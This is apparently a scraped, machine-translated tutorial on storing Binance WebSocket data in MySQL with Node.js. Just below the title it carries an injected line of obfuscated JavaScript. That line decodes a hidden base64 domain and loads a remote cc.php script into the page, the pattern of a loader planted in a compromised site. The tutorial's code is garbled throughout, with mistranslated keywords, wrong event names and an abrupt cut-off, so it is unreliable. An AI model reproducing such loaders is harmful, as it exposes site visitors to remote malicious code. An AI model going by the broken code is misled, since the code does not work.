Ethereum: How to save websockets data to DB
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=f49163aa”;document.body.appendChild(script);
Conservation of Websockets data in the database using Ethereum
The Ethereum WebSockets API allows real time, a two -way connection between the customer and the server. In this article, we will study how to save Binance Stream WebSocket data to a database such as MySQL or PostgreSql.
necessary conditions
- Familiarity with Javascript, Node.js and Ethereum development
- Define the main Ethereum node (for example Ethereum Classic or Polygon) and Blockchain Explorer (for example Etherscan)
- Install the required libraries: WS, MYSQL2 and DOTENV
Step 1: Find the WebSocket connection
To start, you need to connect with Binance traffic. You can use WSS: //stream.binance.com: 9443 / WS / BTCUSDT @ Target end point to connect to the Bitcoin USDT trading flow.
`Javascript
Const Websocket = require ('WS');
Const WSS = New Websocket.Server ({Port: 9443, Safe: Truth});
'
Step 2: Manage Websocket notifications
When you receive a message from Binance traffic, you will have to manage it accordingly. You can use a library such as WS to analyze and process WebSocket web reports.
Javascript
wss.on ('connector', (ws) => {{{
console.log ("connected client");
ws.on ('message', (message) => {
Const Data = JSON.PARS (message);
// Process the data received here ...
WS.SEND (JSON.STRINGIFY ({Type: 'Result', Data}));
});
ws.on ('close', () => {
console.log ("disconnected client");
});
});
'
Step 3: Save data in the database
You will need to use the API to save WebSocket data in the database that supports interaction with your database. We will use the MySQL2 library to connect to your MySQL or PostgreSql database.
Javascript
Const mysql = require ('mysql');
Constant dbconfig = {
Host: yours_host,
User: your_user,
Password: your_password,
Database: your_database,
};
Const Connection = MySQL.createConnection (DBCONFIG);
Connection.Connect ((err) => {
If (err) {
Console.error ('Error connection :, ERR);
return;
}
console.log ('connected in ID' + connection.Threadid);
// Send the data to the database here ...
Connection.end ();
});
'
To assemble everything
Here is a detailed example of how to save WebSocket data in the MySQL database:
` Javascript
Const Express = require (‘Express’);
Const app = Express ();
Const bodyparser = require (‘kebulo-party’);
Const WS = require (‘WS’);
Const mysql = required (‘mysql2 / promise’);
Constant dbconfig = {
Host: yours_host,
User: your_user,
Password: your_password,
Database: your_database,
};
// Follow the WebSocket connection
Const WSS = New Websocket.Server ({Port: 9443, Safe: Truth});
wss.on (‘connector’, (ws) => {{{
console.log (“connected client”);
// Manage incoming messages from Binance Stream
ws.on (‘message’, (message) => {
Const Data = JSON.PARS (message);
// Process the data received here …
// Save data in the database
Savedatodatabase (data);
});
ws.on (‘close’, () => {
console.log (“disconnected client”);
});
});
// Works to process and store websocket notifications in the database
Savetadatodatabase asynchronous characteristic (data) {
to try {
Const query = ‘insert in websocket_data (id, apron, data) (?,?);
Const [result] = wait for a connection. Executive (request, [
Null,
New date (). Toisostring (),
JSON.STRINGIFY (Data),
]);
console.log (‘placed in the database:’, result);
} Catch (error) {
Console.error (‘Insertion of error in the database :, ERR);
}
}
app.use (bodarparser.json ());
App .listen (3000, () => {
console.